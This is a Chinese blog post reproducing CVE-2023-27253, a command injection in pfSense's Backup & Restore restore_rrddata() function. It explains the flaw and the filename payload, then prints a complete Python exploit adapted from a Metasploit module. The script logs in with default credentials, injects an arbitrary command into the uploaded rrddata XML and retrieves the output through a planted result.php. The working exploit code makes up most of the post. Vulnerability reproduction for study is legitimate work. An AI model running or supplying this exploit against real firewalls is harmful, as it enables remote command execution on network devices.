CVE-2023-27253-pfsense命令注入漏洞复现(含exp)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

前言

        NetGate Pfsense <=2.6.0 版本中存在命令注入漏洞(CVE-2023-27253),该漏洞存在于Backup&Restore模块的函数restore_rrddata()中,导致拥有管理员权限的攻击者可以通过操纵提供给组件config.xml的XML文件的内容来执行任意命令。

        以下是漏洞复现步骤以及根据matesploit攻击模块改编的python攻击脚本。


一、pfsense是什么?

        pfSense是一个基于FreeBSD ,专为防火墙和路由器功能定制的开源版本。 它被安装在计算机上作为网络中的防火墙和路由器存在,并以可靠性著称,且提供往往只存在于昂贵商业防火墙才具有的特性。它可以通过WEB页面进行配置,升级和管理而不需要使用者具备FreeBSD底层知识。

        漏洞影响版本:<= 2.6.0

二、环境搭建

新建虚拟机,选择FreeBSD,添加第二网卡。导入从官网下载的pfSense 2.6.0的iso文件。

安装好重启后配置WAN与LAN地址。LAN为访问web的地址。

是否启用http作为web协议选择启用

访问ip,登录,默认用户名密码:admin/pfsense,进行防火墙初始化设置。

三、触发条件

        漏洞位于Backup&Restore模块的函数restore_rrddata(),攻击者在上传xml配置文件进行重置时,可以通过在文件名之后拼接命令实现命令注入。具体原因如下:

        $rrd_file参数在接收到文件内容之后,直接传递给exec()函数调用rrdtool执行 restore -f  '文件名'  '文件内容' 命令。在此期间未对传入的文件名或文件内容进行过滤与控制。

        根据restore -f 命令所带参数的特点,可以在文件内容之后拼接系统命令一并传入exec()函数。

        payload:默认文件名';cmd;

        由于命令执行无回显,使用sleep来对其进行验证。

四、exp开发

        根据matesploit的ruby脚本分析,在执行漏洞利用时,首先进行账户登录与版本获取。只有运行版本在2.7.0以下,才会进行后续验证。

        后续经过获取csrf_token值以及下载配置文件等操作来获取所需数据。最后构造漏洞利用所需的post数据包,发送http请求。

        poc中的payload为:默认文件名';script -a result.php cmd;。script -a命令会在当前目录创建result.php,并将命令执行的结果保存在该文件中。由于命令执行的结果无回显,故通过访问result.php文件的方式获取命令执行结果。        

        以下是完整代码:

#该代码只用于学习,禁止用于非法途径
import re
import requests
import random
import string
import argparse


class MetasploitModule:
    def __init__(self, args):
        self.target_url = args.url.rstrip('/')
        self.username = args.username
        self.password = args.password
        self.cmd = args.cmd
        self.logged_in = False
        self.cookie = None
        self.csrf_token = None


    def check(self):
        if not self.login():
            return 'Could not obtain the login cookies needed to validate the vulnerability!'

        try:
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',
                'Referer': f"{self.target_url}/index.php",
                'Connection': 'close',
                'Cookie': self.cookie,
                'Upgrade-Insecure-Requests': '1',
            }

            response = requests.get(f"{self.target_url}/diag_backup.php", headers=headers,verify=False)
            if response.status_code != 200:
                return f"Could not connect to web service - HTTP response code: {response.status_code}"

            if 'Diagnostics' not in response.text:
                return 'Vulnerable module not reachable'
            
            version = self.detect_version()
            if not version:
                return 'Unable to get the pfSense version'

            if self.is_patched_version(version):
                return f"Patched pfSense version {version} detected"

            return f"The target appears to be running pfSense version {version}, which is unpatched!"
        except Exception as e:
            return f"Error occurred during check: {str(e)}"
        
        
    def login(self):
        if self.logged_in:
            return True

        try:
            response = requests.get(f"{self.target_url}/index.php", verify=False)
            csrf_match = re.search(r'var csrfMagicToken = "(.*?)";', response.text)
            if csrf_match:
                self.csrf_token = csrf_match.group(1)
            else:
                # Try to extract CSRF token from Set-Cookie header
                csrf_cookie = re.search(r'csrfMagicToken=([^;]+)', response.headers.get('Set-Cookie', ''))
                if csrf_cookie:
                    self.csrf_token = csrf_cookie.group(1)
                else:
                    return False

            data = {
                '__csrf_magic': self.csrf_token,
                'usernamefld': self.username,
                'passwordfld': self.password,
                'login': '',
            }

            response = requests.post(f"{self.target_url}/index.php", data=data, verify=False, allow_redirects=False)

            if response.status_code == 302:
                # Store the cookies in the cookie variable
                self.cookie = response.headers.get('Set-Cookie')
                self.logged_in = True
                return True
            
            return False
        except Exception:
            return False
        

    # Get the pfsense version 
    def detect_version(self):
        try:
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'close',
                'Cookie': self.cookie,
                'Upgrade-Insecure-Requests': '1',
            }

            response = requests.get(f"{self.target_url}/index.php", headers=headers,verify=False)
            version_match = re.search(r'<strong>([\d.]+-RELEASE)</strong>', response.text)
            return version_match.group(1) if version_match else None
        except Exception:
            return None

    def is_patched_version(self, version):
        # Extract the numeric portion of the version number and convert it to a list of integers
        version_parts = [int(part) for part in version.split('.')[0].split('-')[0].split('RELEASE')[0].split('-')]

        # list of integers specifying patched version numbers
        patched_version = [2, 7, 0]

        # Compare version numbers
        return version_parts >= patched_version


    
    def get_csrf(self, method):
        #print(f"Getting CSRF token for {method} request to {self.target_url}...")
        res = self.get_csrf_req(method)
        if not res or not res.text:
            print("No response or empty response text. CSRF token extraction failed.")
            return None

        match = re.search(r'var csrfMagicToken = "(?P<csrf>sid:[a-z0-9,;:]+)";', res.text)
        if match:
            csrf_token = match.group('csrf')
            return csrf_token
        else:
            print("CSRF token extraction failed. CSRF token not found.")
            return None
        
        
    def get_csrf_req(self, method):
        url = f"{self.target_url}/diag_backup.php"

        try:
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',
                'Referer': f"{self.target_url}/diag_backup.php",
                'Connection': 'close',
                'Cookie': self.cookie,
                'Upgrade-Insecure-Requests':'1'
                
            }
            response = requests.get(url, headers=headers, verify=False)
        except requests.exceptions.RequestException as e:
            raise Exception(f'Failed to send {method} request to {url}: {e}')

        return response


    # Provide the required data for subsequent exploits by downloading the configuration file rrddata
    def drop_config(self):
        url = f"{self.target_url}/diag_backup.php"
        csrf = self.get_csrf("GET")
        if not csrf:
            raise Exception("Could not get the expected CSRF token for diag_backup.php when dropping the config!")

        payload = {
            "__csrf_magic": csrf,
            "backuparea": "rrddata",
            "encrypt_password": "",
            "encrypt_password_confirm": "",
            "download": "Download configuration as XML",
            "restorearea": "",
            "conffile": "",
            "decrypt_password": ""
        }

        res = self.drop_config_res(data=payload)
        while res.status_code == 403 :
                    try:
                        headers = {
                        'Content-Type':'application/x-www-form-urlencoded',
                        'Origin':self.target_url,
                        'Referer': f"{self.target_url}/diag_backup.php",
                        'Cookie': self.cookie,
                        }
                        
                        data_again = {
                        "__csrf_magic": csrf,
                        "backuparea": "rrddata",
                        "encrypt_password": "",
                        "encrypt_password_confirm": "",
                        "download": "Download configuration as XML",
                        "restorearea": "",
                        "conffile": "",
                        "decrypt_password": "",
                        "submit":"Try+again"
                        }
                        res = requests.post(url, headers=headers,data=data_again, verify=False)
                    except requests.exceptions.RequestException as e:
                        raise Exception(f'Failed to send  request to {url}: {e}')
                    #return res.text
        if res and res.status_code == 200 and "<rrddatafile>" in res.text:
            return res.text
        else:
            return None

        
    def drop_config_res(self, data):
        url = f"{self.target_url}/diag_backup.php"
        try:
            headers = {
                'Content-Type':'multipart/form-data;',
                'Origin':self.target_url,
                'Referer': f"{self.target_url}/diag_backup.php",
                'Connection': 'close',
                'Cookie': self.cookie,
                'Upgrade-Insecure-Requests':'1'
            }
        
            if isinstance(data, dict):
                response = requests.post(url, headers=headers,data=data, verify=False)
            elif isinstance(data, str):
                response = requests.post(url,  headers=headers,data=data.encode('utf-8'), verify=False)
        except requests.exceptions.RequestException as e:
                        raise Exception(f'Failed to send  request to {url}: {e}')
        return response
    


    def exploit(self):
        if not self.login():
            raise Exception('Could not obtain the login cookies!')

        if not self.csrf_token:
            raise Exception('CSRF token not available. Cannot send exploit payload.')

        config_data = self.drop_config()
        if not config_data:
            raise Exception('The drop config response was empty!')

        match = re.search(r'<filename>(?P<file>.*?)</filename>', config_data)
        if not match:
            raise Exception('Could not get the filename from the drop config response!')

        filename = match.group('file')
        if filename in config_data:
            # Modify the config_data with the payload
            payload = f"WANGW-quality.rrd\';script -a result.php {self.cmd};"
            config_data = config_data.replace(' ', '${IFS}')
            send_p = config_data.replace(match.group(1), payload)
        else:
            raise Exception('Could not find filename in the drop config response!')

        csrf = self.get_csrf( 'GET')
        if not csrf:
            raise Exception('Could not get the expected CSRF token for diag_backup.php when sending exploit payload!')

        boundary = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(30))
        Content_Type = 'multipart/form-data; boundary='+f'{boundary}'
        url = f"{self.target_url}/diag_backup.php"

        headers_end = {
            'Content-Type': f"{Content_Type}",
            'origin':self.target_url,
            'Referer': f"{self.target_url}/diag_backup.php",
            'Cookie': self.cookie,

        }

        post_data = f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="__csrf_magic"\r\n' \
                    f'\r\n' \
                    f'{csrf}\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="backuparea"\r\n' \
                    f'\r\n' \
                    f'rrddata\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="donotbackuprrd"\r\n' \
                    f'\r\n' \
                    f'yes\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="backupssh"\r\n' \
                    f'\r\n' \
                    f'yes\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="restorearea"\r\n' \
                    f'\r\n' \
                    f'rrddata\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="conffile"; filename="WANGW-quality.xml"\r\n' \
                    f'Content-Type: text/xml\r\n' \
                    f'\r\n' \
                    f'{send_p}\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="decrypt_password"\r\n' \
                    f'\r\n' \
                    f'\r\n' \
                    f'--{boundary}\r\n' \
                    f'Content-Disposition: form-data; name="restore"\r\n' \
                    f'\r\n' \
                    f'Restore Configuration\r\n' \
                    f'--{boundary}--' 
                    

        res =  requests.post(url,headers=headers_end, data=post_data,verify=False)
        
        if res.status_code == 200:
            print("Vulnerability exists!")
            try:
                module.retrieve_result()
            except Exception as e:
                print(f"Error occurred during command retrieval: {str(e)}")


    def retrieve_result(self):
        try:
            cookies = {'Cookie': self.cookie}  
            res = requests.get(f"{self.target_url}/result.php", cookies=cookies, verify=False)

            if res.status_code == 200:
                content = res.text
                print(content)

        except Exception as e:
            return f"Error occurred during result retrieval: {str(e)}"
        

           
def parse_args():
    parser = argparse.ArgumentParser(description='pfSense Restore RRD Data Command Injection exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://192.168.1.2)')
    parser.add_argument('--username', default='admin', help='Username to authenticate with')
    parser.add_argument('--password', default='pfsense', help='Password to authenticate with')
    parser.add_argument('--cmd', required=True, help='Command to execute')

    return parser.parse_args()



if __name__ == "__main__":
    args = parse_args()
    module = MetasploitModule(args)

    # Call the check method of the module to get the check result
    result = module.check()

    # Output check result
    print(result)

    # Execute the exploit method if the check indicates that the target is vulnerable
    if "unpatched" in result.lower():
        try:
            module.exploit()
        except Exception as e:
            print(f"Error occurred during exploit: {str(e)}")



   





        使用方法:python cve-2023-27253_poc.py --url <url> --username admin --password pfsense --cmd <cmd>

必选参数:

--url 目标地址 (该poc只支持对启用http协议的目标进行利用)

--username   (默认用户名为admin)

--password     (默认密码为pfsense)

--cmd


总结

        网上大多数漏洞信息都是使用matesploit攻击,原ruby脚本发送的是https请求,不利于抓取明文数据包分析,该exp改为http请求,故在搭建环境时需要选择http作为web协议。

        该exo只作为简单验证,并不具备成熟的利用条件,广大网友可根据自己的需求进行修改。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WeiYweiy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值